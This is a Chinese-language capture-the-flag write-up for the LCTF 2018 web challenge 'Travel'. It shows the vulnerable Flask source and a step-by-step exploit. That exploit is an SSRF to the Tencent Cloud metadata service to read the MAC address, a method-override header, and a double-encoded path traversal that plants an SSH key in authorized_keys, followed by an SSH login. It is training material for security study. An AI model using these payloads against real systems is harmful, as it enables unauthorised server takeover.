0x00 前言
来源于lctf2018的一道web题:Travel
0x01 题目源码
首先题目给出源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
'/upload/<filename>', methods = ['PUT']) .route(
def upload_file(filename):
name = request.cookies.get('name')
pwd = request.cookies.get('pwd')
if name != 'lctf' or pwd != str(uuid.getnode()):
return "0"
filename = urllib.unquote(filename)
with open(os.path.join(app.config['UPLOAD_FOLDER'], filename), 'w') as f:
f.write(request.get_data(as_text = True))
return "1"
return "0"
'/', methods = ['GET']) .route(
def index():
url = request.args.get('url', '')
if url == '':
return render_template('index.html')
if "http" != url[: 4]:
return "hacker"
try:
response = requests.get(url, timeout = 10)
response.encoding = 'utf-8'
return response.text
except:
return "Something Error"
0x02 题目分析
可以看到只要name=’lctf’&&pwd=str(uuid.getnode())即可登陆成功上传任意文件。
而这里需要知道uuid.getnode()也就是网卡地址。正常的话可以读取/sys/class/net/eth0/address来获得。题目是Python + requests库。requests库的底层是urllib,而没有任何扩展的urllib仅支持http和https协议,因此我们没有办法读取任意文件。我们查一查IP,就能发现是腾讯云的机器。既然是云服务商,那么通常就会有一个metadata的API。例如,Amazon EC2,就可以通过 http://169.254.169.254 来获取metadata,而所有基于OpenStack搭建的云服务也都使用这个地址。
因此,让我们查看腾讯云的文档,很容易就能搞出payload:1
http://118.25.150.86/?url=http://metadata.tencentyun.com/latest/meta-data/mac
得到网卡地址1
52:54:00:48:c8:73(hex)->90520735500403(int)
然后在put的时候会出现一个问题
会出现一个405 not allowed
而与POST出现的不太一样。
那么这里可以确认是Nginx层面上禁止了PUT。Flask对这个问题有解决方案,即X-HTTP-Method-Override头。
这里利用任意文件写+目录穿透上传ssh公钥。
在本地生成ssh公钥1
2
3cd /root/.ssh/
ssh-keygen -t rsa -P ''
然后将公钥上传到目录
1 | /home/lctf/.ssh/authorized_keys |
这里需要注意到是需要将目录进行两次url编码1
..252f..252f..252f..252f..252f..252fhome252flctf252f.ssh252fauthorized_keys
然后即可进行登陆1
ssh lctf@118.25.150.86